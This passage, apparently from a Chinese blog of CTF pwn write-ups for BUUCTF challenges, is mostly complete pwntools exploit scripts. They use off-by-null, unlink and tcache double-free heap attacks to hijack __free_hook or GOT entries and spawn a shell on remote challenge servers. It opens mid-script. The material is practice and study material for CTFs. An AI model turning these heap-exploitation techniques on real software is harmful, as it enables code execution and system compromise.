gdb.attach(io, gdbscript=gdbscript)

# <0x100,off by null
def add(index: int, size: int, content: bytes):
sla(b">> ", b"1")
sla(b"Index: ", str(index).encode())
sla(b"Size: ", str(size).encode())
sa(b"Content: ", content)

# def edit(index: int, content: bytes):
# sla(b"Choice: \n", b"2")
# sa(b"Enter index: ", str(index).encode())
# sa(b"Enter data: ", content)

# 清空了
def free(index: int):
sla(b">> ", b"2")
sla(b"Index: ", str(index).encode())

def show(index: int):
sla(b">> ", b"3")
sla(b"Index: ", str(index).encode())

def convert_str_asmencode(content: str):
out = ""
for i in content:
out = hex(ord(i))[2:] + out
out = "0x" + out
return out

add(0, 0xF8, b"a")
add(1, 0x18, b"a" * 17)
for i in range(8):
add(i + 2, 0xF8, b"a")
for i in range(10, 2, -1):
free(i)
free(1)
free(0)
add(1, 0x18, p64(0) * 2 + p64(0x120))
free(2)
add(0, 0x78, b"a")
add(2, 0x78, b"a")
show(1)
ru(b"content: ")
libc_base = u64(ru(b"\x7f").ljust(8, b"\0")) - 0x7FF32C094CA0 + 0x7FF32BCA9000
add(3, 0x18, b"c")
add(4, 0x78, b"a")
add(5, 0x78, b"a")
free(1)
free(3)
add(1, 0x18, p64(libc_base + libc.sym["__free_hook"]))
add(6, 0x18, b"/bin/sh\0")
add(7, 0x18, p64(libc_base + libc.sym["system"]))
free(6)
# debug()
it()
exit(0)
free(0)
ptr = 0x602040
add(0x28, p64(0) + p64(0x21) + p64(ptr - 0x18) + p64(ptr - 0x10) + p64(0x20))
free(1)
add(0x18, b"a" * 0x17)
edit(0, b"a" * 0x18 + p64(ptr + 8) + p64(elf.got["puts"]))
show(1)
ru(b"Data: ")
libc_base = u64(ru(b"\x7f").ljust(8, b"\0")) - libc.sym["puts"]
free_hook_addr = libc_base + libc.sym["__free_hook"]
edit(0, p64(free_hook_addr))
edit(1, p64(libc_base + libc.sym["system"]))
add(0x18, b"/bin/sh\0")
free(2)
# debug()
it()

sitdtu2019_iz_heap_lv2

BUUCTF在线评测

比较简单的off by null

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
#!/usr/bin/python3
# -*- coding: utf-8 -*-
# from LibcSearcher import LibcSearcheronline
from pwn import *

it = lambda: io.interactive()
ru = lambda x: io.recvuntil(x)
rud = lambda x: io.recvuntil(x, drop=True)
r = lambda x: io.recv(x)
rl = lambda: io.recvline()
rld = lambda: io.recvline(keepends=False)
s = lambda x: io.send(x)
sa = lambda x, y: io.sendafter(x, y)
sl = lambda x: io.sendline(x)
sla = lambda x, y: io.sendlineafter(x, y)

elf_path = "./iz_heap_lv2"
elf = ELF(elf_path)
context(arch=elf.arch, log_level="debug")
libc = elf.libc

if "2.23" in libc.path:
one_gadget = [0x45216, 0x4526A, 0xF02A4, 0xF1147]
elif "2.27" in libc.path:
one_gadget = [0x4F2C5, 0x4F322, 0x10A38C]
else:
one_gadget = []

if len(sys.argv) > 1:
remote_ip = "node4.buuoj.cn"
remote_port = 25867
io = remote(remote_ip, remote_port)
else:
io = process(elf_path)

def debug():
gdbscript = """
b
c
x/10xg 0x602040
x/10xg 0x6020E0
"""
gdb.attach(io, gdbscript=gdbscript)

# 0~256 off by null
def add(size: int, content: bytes):
sla(b"Choice: \n", b"1")
sa(b"Enter size: ", str(size).encode())
sa(b"Enter data: ", content)

# off by null
def edit(index: int, content: bytes):
sla(b"Choice: \n", b"2")
sa(b"Enter index: ", str(index).encode())
sa(b"Enter data: ", content)

# 清空了
def free(index: int):
sla(b"Choice: \n", b"3")
sa(b"Enter index: ", str(index).encode())

def show(index: int):
sla(b"Choice: \n", b"4")
sa(b"Enter index: ", str(index).encode())

def convert_str_asmencode(content: str):
out = ""
for i in content:
out = hex(ord(i))[2:] + out
out = "0x" + out
return out

add(0x28, b"a" * 18)
for i in range(8):
add(0xF8, b"a")
for i in range(8, 1, -1):
free(i)
free(0)
ptr = 0x602040
add(0x28, p64(0) + p64(0x21) + p64(ptr - 0x18) + p64(ptr - 0x10) + p64(0x20))
free(1)
add(0x18, b"a" * 0x17)
edit(0, b"a" * 0x18 + p64(ptr + 8) + p64(elf.got["puts"]))
show(1)
ru(b"Data: ")
libc_base = u64(ru(b"\x7f").ljust(8, b"\0")) - libc.sym["puts"]
free_hook_addr = libc_base + libc.sym["__free_hook"]
edit(0, p64(free_hook_addr))
edit(1, p64(libc_base + libc.sym["system"]))
add(0x18, b"/bin/sh\0")
free(2)
# debug()
it()

suctf2018_heap

BUUCTF在线评测

题目出题比较奇怪,多了一个类似于缓存的

这个题目主要就是off by one比较奇特,如果我们把堆填满了,就不能用strlen来判断大小,不然会算上下一个块的大小,导致可以任意修改下一个块的大小,其他的都差不太多,这里不能改malloc_hook,只能改got

所以千万不能用strlen(chunk)内容来判断长度

image.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
#!/usr/bin/python3
# -*- coding: utf-8 -*-
# from LibcSearcher import LibcSearcheronline

from pwn import *

it = lambda: io.interactive()
ru = lambda x: io.recvuntil(x)
rud = lambda x: io.recvuntil(x, drop=True)
r = lambda x: io.recv(x)
rl = lambda: io.recvline()
rld = lambda: io.recvline(keepends=False)
s = lambda x: io.send(x)
sa = lambda x, y: io.sendafter(x, y)
sl = lambda x: io.sendline(x)
sla = lambda x, y: io.sendlineafter(x, y)

elf_path = "./offbyone"
elf = ELF(elf_path)
context(arch=elf.arch, log_level="debug")
libc = elf.libc

if "2.23" in libc.path:
one_gadget = [0x45216, 0x4526A, 0xF02A4, 0xF1147]
elif "2.27" in libc.path:
one_gadget = [0x4F2C5, 0x4F322, 0x10A38C]
else:
one_gadget = []

if len(sys.argv) > 1:
remote_ip = "node4.buuoj.cn"
remote_port = 29014
io = remote(remote_ip, remote_port)
else:
io = process(elf_path)

def debug():
gdbscript = """
b
c
x/10xg 0x06020C0
"""
gdb.attach(io, gdbscript=gdbscript)

# 0x80~0x100
def add(size: int, content: bytes):
sa(b"4:edit\n", b"1")
sa(b"input len\n", str(size).encode())
sa(b"input your data\n", content)

def edit(index: int, content: bytes):
sa(b"4:edit\n", b"4")
sa(b"input id\n", str(index).encode())
sa(b"input your data\n", content)

# 清空了
def free(index: int):
sa(b"4:edit\n", b"2")
sa(b"input id\n", str(index).encode())

def show(index: int):
sa(b"4:edit\n", b"3")
sa(b"input id\n", str(index).encode())

def convert_str_asmencode(content: str):
out = ""
for i in content:
out = hex(ord(i))[2:] + out
out = "0x" + out
return out

add(0x98, b"a" * 0x98)
add(0x98, b"a" * 0x98)
add(0x98, b"a" * 0x98)
add(0x88, b"a" * 0x88)
for i in range(7):
add(0x88, b"a" * 0x88)
for i in range(10, 4, -1):
free(i)
ptr = 0x6020D8
edit(
3,
p64(0)
+ p64(0x80)
+ p64(ptr - 0x18)
+ p64(ptr - 0x10)
+ p64(0) * 12
+ p64(0x80)
+ b"\x90",
)
free(4)
add(0x88, b"A")
edit(3, p64(elf.got["puts"]))
show(0)
libc_base = u64(ru(b"\x7f").ljust(8, b"\0")) - libc.sym["puts"]
edit(3, p64(elf.got["atoi"]))
ru(b"4:edit\n")
sa(b"4:edit\n", b"4")
sa(b"input id\n", str(0).encode())
sa(b"input your data\n", p64(libc_base + libc.sym["system"]))
s(b"/bin/sh\0")
it()

qctf_2018_noleak

BUUCTF在线评测

很巧妙的题目,main_arena和__malloc_hook地址只有最后p8不一样,可以直接修改不需要爆破

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
#!/usr/bin/python3
# -*- coding: utf-8 -*-
# from LibcSearcher import LibcSearcheronline
from pwn import *

it = lambda: io.interactive()
ru = lambda x: io.recvuntil(x)
rud = lambda x: io.recvuntil(x, drop=True)
r = lambda x: io.recv(x)
rl = lambda: io.recvline()
rld = lambda: io.recvline(keepends=False)
s = lambda x: io.send(x)
sa = lambda x, y: io.sendafter(x, y)
sl = lambda x: io.sendline(x)
sla = lambda x, y: io.sendlineafter(x, y)

elf_path = "./QCTF_2018_NoLeak"
elf = ELF(elf_path)
context(arch=elf.arch, log_level="debug")
libc = elf.libc

if "2.23" in libc.path:
one_gadget = [0x45216, 0x4526A, 0xF02A4, 0xF1147]
elif "2.27" in libc.path:
one_gadget = [0x4F2C5, 0x4F322, 0x10A38C]
else:
one_gadget = []

if len(sys.argv) > 1:
remote_ip = "node4.buuoj.cn"
remote_port = 29110
io = remote(remote_ip, remote_port)
else:
io = process(elf_path)

def debug():
gdbscript = """
b *0x4008A6
c
x/10xg 0x601040
"""
gdb.attach(io, gdbscript=gdbscript)

def add(size: int, content: bytes):
sa(b"choice :", b"1")
sa(b"Size: ", str(size).encode())
sa(b"Data: ", content)

# 任意溢出
def edit(index: int, content: bytes):
sa(b"choice :", b"3")
sa(b"Index: ", str(index).encode())
sa(b"Size: ", str(len(content)).encode())
sa(b"Data: ", content)

# 没有清空
def free(index: int):
sa(b"choice :", b"2")
sa(b"Index: ", str(index).encode())

# def show(index: int):
# sa(b"Choice: \n", b"4")
# sa(b"Index: ", str(index).encode())

def convert_str_asmencode(content: str):
out = ""
for i in content:
out = hex(ord(i))[2:] + out
out = "0x" + out
return out

ptr = 0x601040
add(0x28, b"a")
add(0x418, b"a")
add(0x18, b"a")
edit(
0,
p64(0) + p64(0x21) + p64(ptr - 0x18) + p64(ptr - 0x10) + p64(0x20) + p64(0x420),
)
free(1)
add(0x18, b"a")
add(0x18, b"a")
free(3)
free(3)
edit(3, p8(0x90))
add(0x18, b"a")
add(0x18, b"a")
add(0x18, b"a")
edit(0, p64(0) * 3 + p64(ptr) + p64(0) * 6 + p8(0x30))
edit(7, p64(ptr))
edit(0, asm(shellcraft.sh()))
sa(b"choice :", b"1")
sa(b"Size: ", str(0x18).encode())
it()
debug()
it()
exit(0)

hitcon_2018_children_tcache

BUUCTF在线评测

这个题比较巧妙的几个地方

off by one 用来修改size

free之前会memset,所以需要通过不断调整大小来修改prev_size

double free tcache

tcache不检查大小是否匹配

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
#!/usr/bin/python3
# -*- coding: utf-8 -*-
# from LibcSearcher import LibcSearcheronline
from pwn import *

it = lambda: io.interactive()
ru = lambda x: io.recvuntil(x)
rud = lambda x: io.recvuntil(x, drop=True)
r = lambda x: io.recv(x)
rl = lambda: io.recvline()
rld = lambda: io.recvline(keepends=False)
s = lambda x: io.send(x)
sa = lambda x, y: io.sendafter(x, y)
sl = lambda x: io.sendline(x)
sla = lambda x, y: io.sendlineafter(x, y)

elf_path = "./HITCON_2018_children_tcache_debug"
elf = ELF(elf_path)
context(arch=elf.arch, log_level="debug")
if "debug" in elf_path:
libc_path = elf.linker.decode().replace("ld", "./libc")
libc = ELF(libc_path)
if "2.23" in libc_path:
one_gadget = [0x45216, 0x4526A, 0xF02A4, 0xF1147]
elif "2.27" in libc_path:
one_gadget = [0x4F2C5, 0x4F322, 0x10A38C]
else:
one_gadget = []
else:
libc_path = ""

if len(sys.argv) > 1:
remote_ip = "node4.buuoj.cn"
remote_port = 26107
io = remote(remote_ip, remote_port)
else:
if libc_path != "":
io = process(elf_path, env={"LD_PRELOAD": libc_path})
else:
io = process(elf_path)

def debug():
# 断点设置在c之前就好,查看bss时候要在c后面, x/5xg $rebase(0xAF9)
# b *$rebase(0x14F6)
# b *$rebase(0x13A9)
gdbscript = """
b *$rebase(0xD6B)
c
x/6xg $rebase(0x202060)
x/6xg $rebase(0x2020C0)
"""
gdb.attach(io, gdbscript=gdbscript)

# 存在off by one
def add(size: int, content: bytes):
sa(b"choice: ", b"1")
sla(b"Size:", str(size).encode())
sa(b"Data:", content)

def show(index: int):
sa(b"choice: ", b"2")
sa(b"Index:", str(index).encode())

# def edit(index: int, content: bytes):
# sla(b"choice: ", b"3")
# sla(b"index : \n", str(index).encode())
# sla(b"Please enter the length of item name:", str(len(content)).encode())
# sa(b"Please enter the new name of the item:", content)

# 这里有个小trick,他是根据请求的size进行清空,只要我们不断把size变小,就不会重复填入\xda
def free(index: int):
sa(b"choice: ", b"3")
sa(b"Index:", str(index).encode())

add(0x418, b"a")
add(0x18, b"a")
add(0x4F8, b"a")
add(0x18, b"a")
free(0)
free(1)

for i in range(6):
add(0x18 - i, b"a" * (0x18 - i))
free(0)
add(0x18, b"a" * 0x10 + p16(0x440))
free(2)
add(0x418, b"a")
show(0)
libc_base = u64(rld().ljust(8, b"\0")) - 0x7FD7F4B60CA0 + 0x7FD7F4775000
add(0x18, b"a")
add(0x18, b"a")
add(0x18, b"c")
free(5)
free(0)
free(4)
free(2)
free_hook_addr = libc_base + libc.sym["__free_hook"]
system_addr = libc_base + one_gadget[1]
add(0x18, p64(free_hook_addr))
add(0x18, b"/bin/sh\0")
add(0x18, b"/bin/sh\0")
# debug()
add(0x18, p64(system_addr))
free(0)
it()
# debug()
# add(0x18, b"a" * 0x10 + p64(0x20))
# free(0)
# add(0x18, b"aa")
# show(0)
# rl()
# rl()

# add(0x18, b"a" * 0x17)
# for i in range(9):
# add(0x2000 - 8, b"a" * 0x17)
# # for i in range(2, 9):
# # free(i)
# free(2)
# free(0)
# add(0x18, b"a" * 0x18)
# free(0)
# add(0x18, b"a" * 0x10 + b"a" * 0x6 + b"\0")
# free(1)
# add(0x18, b"")
# free(1)

old edition

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from pwn import *

it = lambda: io.interactive()
ru = lambda x: io.recvuntil(x)
rud = lambda x: io.recvuntil(x, drop=True)
r = lambda x: io.recv(x)
rl = lambda: io.recvline()
rld = lambda: io.recvline(keepends=False)
s = lambda x: io.send(x)
sa = lambda x, y: io.sendafter(x, y)
sl = lambda x: io.sendline(x)
sla = lambda x, y: io.sendlineafter(x, y)

elf_path = "./pwn200_debug"
elf = ELF(elf_path)
context(arch=elf.arch, log_level="debug")
if "debug" in elf_path:
libc_path = elf.linker.decode().replace("ld", "./libc")
libc = ELF(libc_path)
if "2.23" in libc_path:
one_gadget = [0x45216, 0x4526A, 0xF02A4, 0xF1147]
elif "2.27" in libc_path:
one_gadget = [0x4F2C5, 0x4F322, 0x10A38C]
else:
one_gadget = []
else:
libc_path = ""

if len(sys.argv) > 1:
remote_ip = "node4.buuoj.cn"
remote_port = 29413
io = remote(remote_ip, remote_port)
else:
if libc_path != "":
io = process(elf_path, env={"LD_PRELOAD": libc_path})
else:
io = process(elf_path)

def debug():
gdbscript = """
b *0x400A72
b *0x400a8c
c
"""
gdb.attach(io, gdbscript=gdbscript)
CATALOG
  1. 1. 爆破
    1. 1.1. 爆破算法
      1. 1.1.1. iscc2018_final_pwn1
  2. 2. 伪随机
    1. 2.1. 随机数预测
      1. 2.1.1. bitsctf_2017_random_game
  3. 3. 虚拟机
    1. 3.1. seccon2018_kindvm
    2. 3.2. wdb_2018_2nd_hvm
  4. 4. C/S架构题目
    1. 4.1. [GKCTF 2021]demo_catRoom
  5. 5. 好题
    1. 5.1. 利用初始化变量
      1. 5.1.1. hitb-2017 1000levels
    2. 5.2. ret2dlresolve
      1. 5.2.1. HITCON 2015 -blinkroot
    3. 5.3. BYPASS PIE
      1. 5.3.1. unexplitable
    4. 5.4. 漏洞不明显
      1. 5.4.1. inndy_notepad
    5. 5.5. 花式unlink
      1. 5.5.1. ciscn_2019_en_5
    6. 5.6. 堆分配地址受限
      1. 5.6.1. qwb2019_one
  6. 6. 奇奇怪怪的题目
    1. 6.1. 综合bypass
      1. 6.1.1. ciscn_2019_final_10
    2. 6.2. 异常
      1. 6.2.1. itcon_2018_hackergame_2018_calc
    3. 6.3. ulimit
      1. 6.3.1. pwnable_otp
  7. 7. 解释器
    1. 7.1. wdb_2018_final_pwn1
    2. 7.2. pwnable_bf
  8. 8. exit
    1. 8.1. elf_set___libc_atexit_elementIO_cleanup
      1. 8.1.1. newest_note
  9. 9. IO
    1. 9.1. flush
      1. 9.1.1. seccon2022-babyfile
    2. 9.2. scanf
      1. 9.2.1. espcially_tu_2016
    3. 9.3. fclose
      1. 9.3.1. xman夏令营选排位赛_2018_challenge1
    4. 9.4. close
      1. 9.4.1. d3ctf_2019_unprintablev
    5. 9.5. stdin任意地址写
      1. 9.5.1. whctf2017_stackoverflow
      2. 9.5.2. ciscn2018_echo_back
  10. 10. 劫持_rtld_global函数
    1. 10.1. _dl_rtld_unlock_recursive
      1. 10.1.1. hctf2018_the_end
  11. 11.
    1. 11.1. alloca
      1. 11.1.1. secconctf2016_cheer_msg
    2. 11.2. 溢出覆盖关键内容
      1. 11.2.1. canary异常处理
        1. 11.2.1.1. checker_seccon_2016
      2. 11.2.2. 另一种
        1. 11.2.2.1. pwnable_loveletter
    3. 11.3. 栈喷
      1. 11.3.1. metasequoia_2020_snow_mountain
      2. 11.3.2. picoctf_2018_gps
    4. 11.4. 数组越界
      1. 11.4.1. wdb-2022-main
      2. 11.4.2. arr_sun_2016
    5. 11.5. canary爆破
      1. 11.5.1. starctf2018_babystack
      2. 11.5.2. bctf_2018_bugstore
      3. 11.5.3. picoctf_2018_buffer overflow 3
    6. 11.6. fini_array
      1. 11.6.1. pwnable_317
      2. 11.6.2. ciscn_2019_sw_1
    7. 11.7. ROP
      1. 11.7.1. asis_finals_2019_rop13
      2. 11.7.2. microwave_ins_2016
      3. 11.7.3. seccon2022-koncha
      4. 11.7.4. wdb_2018_final_pwn3
      5. 11.7.5. pwnable_silverbullet
      6. 11.7.6. xm_2019_awd_pwn1
      7. 11.7.7. roarctf_2019_easyrop
      8. 11.7.8. ciscn_2019_ne_3
      9. 11.7.9. xp0intctf_2018_gameserver
      10. 11.7.10. inndy_very_overflow
      11. 11.7.11. inndy_homework
      12. 11.7.12. inndy_stack
      13. 11.7.13. cscctf_2019_qual_babystack
      14. 11.7.14. 强网杯2019 拟态 STKOF
    8. 11.8. ret2shellcode
      1. 11.8.1. 铁人三项(第五赛区)_2018_seven
      2. 11.8.2. pwnable_echo1
      3. 11.8.3. xman_2019_nooocall
      4. 11.8.4. tiny_backdoor_v1_hackover_2016
      5. 11.8.5. inndy_onepunch
      6. 11.8.6. inndy_leave_msg
      7. 11.8.7. csaw2018_shell_code
      8. 11.8.8. rctf_2019_shellcoder
      9. 11.8.9. xp0intctf_2018_bof
        1. 11.8.9.1. 缩短shellcode
        2. 11.8.9.2. syscall里面rax赋值
        3. 11.8.9.3. xor
        4. 11.8.9.4. mov rdi,rsp
        5. 11.8.9.5. execve(/bin/sh)最短的shellcode
      10. 11.8.10. starctf_2019_babyshell
      11. 11.8.11. lctf2016_pwn200
  12. 12. 格式化字符串
    1. 12.1. bss上格式化字符串
      1. 12.1.1. ciscn_2019_nw_6
    2. 12.2. printf触发malloc
      1. 12.2.1. cscctf_2019_final_babyprintf
      2. 12.2.2. 0ctf2017_easiestprintf
    3. 12.3. 栈上的格式化字符串
      1. 12.3.1. watevr_2019_voting_machine_2
      2. 12.3.2. wustctf2020_babyfmt
      3. 12.3.3. bbctf_2020_fmt_me
        1. 12.3.3.1. 报错
        2. 12.3.3.2. snprintf
        3. 12.3.3.3. %1$p
        4. 12.3.3.4. %2$p
        5. 12.3.3.5. %3$p
        6. 12.3.3.6. %4$p
        7. 12.3.3.7. %5$p
        8. 12.3.3.8. got,plt表原理
        9. 12.3.3.9. 测试代码
  13. 13.
    1. 13.1. off by null
      1. 13.1.1. asis2016_b00ks
    2. 13.2. 沙盒
      1. 13.2.1. ycb_2020_easy_heap
    3. 13.3. 堆溢出
      1. 13.3.1. others_pwn1
    4. 13.4. realloc
      1. 13.4.1. roarctf_2019_realloc_magic
    5. 13.5. house of force
      1. 13.5.1. bcloud_bctf_2016
    6. 13.6. house of orange
      1. 13.6.1. houseoforange_hitcon_2016
        1. 13.6.1.1. 漏洞点分析
        2. 13.6.1.2. 攻击前提
        3. 13.6.1.3. 调试
        4. 13.6.1.4. 泄露libc和堆地址
        5. 13.6.1.5. 攻击malloc_printrr
    7. 13.7. 把mmap出来的块用top chunk分配
      1. 13.7.1. secretHolder_hitcon_2016
    8. 13.8. top chunk上移
      1. 13.8.1. actf_2019_actfnote
    9. 13.9. unsorted bin attack
      1. 13.9.1. cscctf_2019_final_childrenheap
      2. 13.9.2. rctf_2019_babyheap
        1. 13.9.2.1. init
        2. 13.9.2.2. add
        3. 13.9.2.3. free
        4. 13.9.2.4. show
        5. 13.9.2.5. edit
        6. 13.9.2.6. 小结
        7. 13.9.2.7. 攻击
        8. 13.9.2.8. 泄露libc
        9. 13.9.2.9. chunk伪造
        10. 13.9.2.10. 合并
        11. 13.9.2.11. 泄露libc
        12. 13.9.2.12. 再一次堆块重叠
        13. 13.9.2.13. 收回后续的内存
        14. 13.9.2.14. 重叠
        15. 13.9.2.15. unsorted bin attack
        16. 13.9.2.16. 修改unsorted bin的bk为指定地址
        17. 13.9.2.17. unsorted bin attack
        18. 13.9.2.18. 跟踪源码
        19. 13.9.2.19. _int_malloc
        20. 13.9.2.20. 当我们需要分配的size小于unsorted bin大小
        21. 13.9.2.21. 恢复unsorted bin
    10. 13.10. uaf
      1. 13.10.1. jmper_seccon_2016
      2. 13.10.2. wdb_2018_2nd_Fgo
      3. 13.10.3. pwnable_echo2
      4. 13.10.4. isitdtu2019_iz_heap_lv1
      5. 13.10.5. gyctf_2020_document
    11. 13.11. double free
      1. 13.11.1. actf_2020_scp_foundation_secret
      2. 13.11.2. [HarekazeCTF2019]Harekaze Note
      3. 13.11.3. rctf2018_rnote3
      4. 13.11.4. qwb2018_slient2
      5. 13.11.5. ciscn_2019_nw_4
      6. 13.11.6. ciscn_2019_s_2
      7. 13.11.7. hitb2018_gundam
      8. 13.11.8. ciscn_2019_final_2
      9. 13.11.9. starctf2019_girlfriend
      10. 13.11.10. huxiangbei_2019_namesystem
      11. 13.11.11. rootersctf_2019_heaaaappppp
      12. 13.11.12. ycb_2020_easypwn
      13. 13.11.13. gyctf_2020_some_thing_interesting
      14. 13.11.14. ciscn_2019_en_3
    12. 13.12. calloc
      1. 13.12.1. rctf2018_babyheap
      2. 13.12.2. gyctf_2020_signin
    13. 13.13. unlink
      1. 13.13.1. sctf_2019_easy_heap
      2. 13.13.2. pwnable_unlink
      3. 13.13.3. t3sec2018_hero
      4. 13.13.4. sctf2019_easy_heap
      5. 13.13.5. gwctf_2019_chunk
      6. 13.13.6. jarvisoj_level6
      7. 13.13.7. jarvisoj_guestbook2
      8. 13.13.8. zctf_2016_note3
      9. 13.13.9. zctf2016_note2
      10. 13.13.10. pwnable_secret_of_my_heart
      11. 13.13.11. qctf_2018_babyheap
      12. 13.13.12. cscctf_2019_qual_babyheap
      13. 13.13.13. sitdtu2019_iz_heap_lv2
      14. 13.13.14. suctf2018_heap
      15. 13.13.15. qctf_2018_noleak
      16. 13.13.16. hitcon_2018_children_tcache
  14. 14. old edition